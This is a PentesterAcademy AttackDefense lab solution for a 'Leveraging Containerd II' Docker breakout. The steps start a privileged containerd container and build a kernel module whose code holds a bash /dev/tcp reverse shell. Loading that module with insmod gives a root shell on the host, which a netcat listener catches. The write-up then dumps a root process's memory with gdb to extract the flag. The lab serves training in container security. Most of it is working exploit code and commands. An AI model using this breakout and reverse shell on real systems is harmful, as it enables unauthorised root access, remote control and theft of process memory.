ATTACK DEFENSE

by PentesterAcademy

Name	Leveraging Containerd II
URL	https://attackdefense.com/challengedetails?cid=1457
Type	Docker Security : Docker Breakouts

Important Note: This document illustrates all the important steps required to complete this lab. This is by no means a comprehensive step-by-step solution for this exercise. This is only provided as a reference to various commands needed to complete this exercise and for your further research on this topic. Also, note that the IP addresses and domain names might be different in your lab.

Objective: Leverage containerd to escalate privileges and retrieve the flag stored in the memory of "flag-holder" process running on the host system!

Solution:

Step 1: Check the process list to locate the "flag-holder" process.

Command: ps -ef

```
student@localhost:~$ ps -ef
UID          PID  PPID  C STIME TTY          TIME CMD
root           1     0  0 12:30 ?        00:00:04 /sbin/init
root           2     0  0 12:30 ?        00:00:00 [kthreadd]
root           3     2  0 12:30 ?        00:00:00 [rcu_gp]
root           4     2  0 12:30 ?        00:00:00 [rcu_par_gp]
root           6     2  0 12:30 ?        00:00:00 [kworker/0:0H-kb]
root           8     2  0 12:30 ?        00:00:00 [mm_percpu_wq]
```

```
root         226     1  0 12:30 ?        00:00:00 /usr/bin/lxcfs /var/lib/lxcfs/
root         227     1  0 12:30 ?        00:00:00 /lib/systemd/systemd-logind
root         232     1  0 12:30 ?        00:00:02 /usr/bin/containerd
root         236     1  0 12:30 ?        00:00:00 /bin/bash /etc/do
root         237   236  0 12:30 ?        00:00:00 /etc/flag-holder
root         239     1  0 12:30 ?        00:00:00 /usr/sbin/sshd -D
```

This process belongs to root so the current user (i.e. student) won't be able to dump its memory. Hence, escalation to root is necessary.

Step 2: Check the containerd images present on the machine

Command: ctr image list

```
student@localhost:~$ ctr image list
REF                                  TYPE                                                 DIGEST
                  SIZE      PLATFORMS   LABELS
registry:5000/modified-alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472b
a69e3fe9326f186fe2 100.1 MiB linux/amd64 -
registry:5000/modified-ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03
236d97133f3ed3571a 302.8 MiB linux/amd64 -
student@localhost:~$
```

There are two images present in local storage.

Step 3: Start a container in privileged mode and host networking enable.

Command: ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash

```
student@localhost:~$ ctr run --privileged  --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash
root@localhost:~#
root@localhost:~#
root@localhost:~#
```

Step 4: As the container is started in privileged mode, it can insert kernel module to host kernel. Same can be verified by printing the capability list.

Command: capsh --print

```
root@localhost:~# capsh --print
Current: = cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,
cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys
_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_wr
ite,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read+eip
Bounding set =cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutab
le,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_
sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit
_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,cap_audit_read
Securebits: 00/0x0/1'b0
 secure-noroot: no (unlocked)
 secure-no-suid-fixup: no (unlocked)
 secure-keep-caps: no (unlocked)
uid=0(root)
gid=0(root)
groups=
root@localhost:~#
```

The container has SYS_MODULE capability. As a result, the container can insert/remove kernel modules in/from the kernel of the host machine.

Step 5: Find the IP address of the docker container.

Command: ifconfig

```
root@localhost:~# ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
2: ens3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
    link/ether 52:54:00:12:34:56 brd ff:ff:ff:ff:ff:ff
    inet 10.0.2.15/24 brd 10.0.2.255 scope global ens3
       valid_lft forever preferred_lft forever
    inet6 fec0::5054:ff:fe12:3456/64 scope site dynamic mngtmpaddr noprefixroute
       valid_lft 86126sec preferred_lft 14126sec
    inet6 fe80::5054:ff:fe12:3456/64 scope link
       valid_lft forever preferred_lft forever
root@localhost:~#
```

The IP address of the docker container is 10.0.2.15 and the host machine mostly creates an interface which acts as gateway for Docker network. And, generally the first IP address of the range is used for that i.e. 10.0.2.1 in this case.

Step 3: Write a program to invoke a reverse shell with the help of usermode Helper API,

Source Code:

```
#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.0.2.15/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
```

```
static int __init reverse_shell_init(void) {
        return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}

static void __exit reverse_shell_exit(void) {
        printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
```

Explanation

- The call_usermodehelper function is used to create user mode processes from kernel space.
- The call_usermodehelper function takes three parameters: argv, envp and UMH_WAIT_EXEC
    - The arguments to the program are stored in argv.
    - The environment variables are stored in envp.
    - UMH_WAIT_EXEC causes the kernel module to wait till the loader executes the program.

Save the above program as “reverse-shell.c”

Command: cat reverse-shell.c

```
root@localhost:~# cat reverse-shell.c
#include <linux/kmod.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");

char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/10.0.2.15/4444 0>&1", NULL};

static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };


static int __init reverse_shell_init(void) {

        return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
```

```
static void __exit reverse_shell_exit(void) {

        printk(KERN_INFO "Exiting\n");
}

module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
```

Step 4: Create a Makefile to compile the kernel module.

Makefile:

```
obj-m +=reverse-shell.o

all:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
```

Note: The make statement should be separated by a tab and not by 8 spaces, otherwise it will result in an error.

Command: cat Makefile

```
root@localhost:~# cat Makefile
obj-m +=reverse-shell.o

all:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules

clean:
        make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
root@localhost:~#
```

Step 5: Make the kernel module.

Command: make

```
root@localhost:~# make
make -C /lib/modules/5.0.0-20-generic/build M=/root modules
make[1]: Entering directory '/usr/src/linux-headers-5.0.0-20-generic'
  CC [M]  /root/reverse-shell.o
  Building modules, stage 2.
  MODPOST 1 modules
  CC      /root/reverse-shell.mod.o
  LD [M]  /root/reverse-shell.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.0.0-20-generic'
root@localhost:~#
```

Step 6: Start a netcat listener on port 4444

Command: nc -vnlp 4444

```
student@localhost:~$ nc -vnlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
```

Step 7: Copy and paste the lab URL in a new browser tab to open another terminal/console/CLI session. Insert the kernel module using insmod.

Command: insmod reverse-shell.ko

```
root@localhost:~#
root@localhost:~# insmod reverse-shell.ko
```

The kernel module will connect back to the netcat listening on port 4444 of the container and provide bash shell to the attacker. The module will wait in the same state for the bash session to be closed and only then it will exit.

```
student@localhost:~$ nc -vnlp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 10.0.2.15 52666 received!
bash: cannot set terminal process group (-1): Inappropriate ioctl for device
bash: no job control in this shell
root@localhost:/#
```

Step 8: List the processes running on the host machine using the bash session received on netcat.

Command: ps -eaf

```
root@localhost:/# ps -ef
ps -ef
UID         PID  PPID  C STIME TTY          TIME CMD
root          1     0  0 12:30 ?        00:00:04 /sbin/init
root          2     0  0 12:30 ?        00:00:00 [kthreadd]
root          3     2  0 12:30 ?        00:00:00 [rcu_gp]
root          4     2  0 12:30 ?        00:00:00 [rcu_par_gp]
root          6     2  0 12:30 ?        00:00:00 [kworker/0:0H-kb]
root          8     2  0 12:30 ?        00:00:00 [mm_percpu_wq]
root          9     2  0 12:30 ?        00:00:00 [ksoftirqd/0]
```

```
root        226     1  0 12:30 ?        00:00:00 /usr/bin/lxcfs /var/lib/lxcfs/
root        227     1  0 12:30 ?        00:00:00 /lib/systemd/systemd-logind
root        232     1  0 12:30 ?        00:00:02 /usr/bin/containerd
root        236     1  0 12:30 ?        00:00:00 /bin/bash /etc/do
root        237   236  0 12:30 ?        00:00:00 /etc/flag-holder
root        239     1  0 12:30 ?        00:00:00 /usr/sbin/sshd -D
```

The process flag-holder has PID 237

Step 8: GDB is installed on the machine and can be used to take memory dump of the process. Check the process memory map at cat /proc/[pid]/maps

Command: cat /proc/237/maps

```
root@localhost:/# cat /proc/237/maps
cat /proc/237/maps
55cd87d2b000-55cd87d2c000 r-xp 00000000 08:00 52377                      /etc/flag-holder
55cd87f2b000-55cd87f2c000 r--p 00000000 08:00 52377                      /etc/flag-holder
55cd87f2c000-55cd87f2d000 rw-p 00001000 08:00 52377                      /etc/flag-holder
55cd89459000-55cd8947a000 rw-p 00000000 00:00 0                          [heap]
7f58a3645000-7f58a382c000 r-xp 00000000 08:00 131573                     /lib/x86_64-linux-gnu/libc-2.27.so
7f58a382c000-7f58a3a2c000 ---p 001e7000 08:00 131573                     /lib/x86_64-linux-gnu/libc-2.27.so
7f58a3a2c000-7f58a3a30000 r--p 001e7000 08:00 131573                     /lib/x86_64-linux-gnu/libc-2.27.so
7f58a3a30000-7f58a3a32000 rw-p 001eb000 08:00 131573                     /lib/x86_64-linux-gnu/libc-2.27.so
7f58a3a32000-7f58a3a36000 rw-p 00000000 00:00 0
7f58a3a36000-7f58a3a5d000 r-xp 00000000 08:00 131566                     /lib/x86_64-linux-gnu/ld-2.27.so
7f58a3c56000-7f58a3c58000 rw-p 00000000 00:00 0
7f58a3c5d000-7f58a3c5e000 r--p 00027000 08:00 131566                     /lib/x86_64-linux-gnu/ld-2.27.so
7f58a3c5e000-7f58a3c5f000 rw-p 00028000 08:00 131566                     /lib/x86_64-linux-gnu/ld-2.27.so
7f58a3c5f000-7f58a3c60000 rw-p 00000000 00:00 0
7ffd07ff8000-7ffd08019000 rw-p 00000000 00:00 0                          [stack]
7ffd0817f000-7ffd08182000 r--p 00000000 00:00 0                          [vvar]
7ffd08182000-7ffd08183000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
root@localhost:/#
```

There are multiple batches of memory. One can either dump one of these selectively or dump them all iteratively.

Step 9: Start dumping memory batches one by one. Dump heap memory first.

Command: gdb --batch --pid 237 -ex "dump memory heap.dump 0x55cd89459000 0x55cd8947a000";

```
root@localhost:/root# gdb --batch --pid 237 -ex "dump memory heap.dump 0x55cd89459000 0x55cd8947a000";
<mp memory heap.dump 0x55cd89459000 0x55cd8947a000";
0x00007f58a37299a4 in __GI___nanosleep (requested_time=requested_time@entry=0x7ffd08018290, remaining=remaining@entry=0x7ffd08018290) at ../sysd
eps/unix/sysv/linux/nanosleep.c:28
28      ../sysdeps/unix/sysv/linux/nanosleep.c: No such file or directory.
root@localhost:/root# ls -l
ls -l
total 132
-rw-rw-rw- 1 root root 135168 Dec  2 12:42 heap.dump
root@localhost:/root#
```

GDB will throw some warnings which can be ignored. The dump will be stored in heap.dump file.

Step 11: Run strings command on the dump file

Commands: strings heap.dump

```
root@localhost:/root# strings heap.dump
strings heap.dump
 Give me flag:  FLAG=116b842bfbb6243c7a8bd5dce177c9f4
116b842bfbb6243c7a8bd5dce177c9f4
root@localhost:/root#
```

And, the flag are present in this dump.

Flag: 116b842bfbb6243c7a8bd5dce177c9f4

References:

1. Containerd (https://www.docker.com/)
2. call_usermodehelper (https://www.kernel.org/doc/htmldocs/kernel-api/API-call-usermodehelper.html)
3. Invoking user-space applications from the kernel (https://developer.ibm.com/articles/l-user-space-apps/)
4. Usermode Helper API (https://insujang.github.io/2017-05-10/usermode-helper-api/)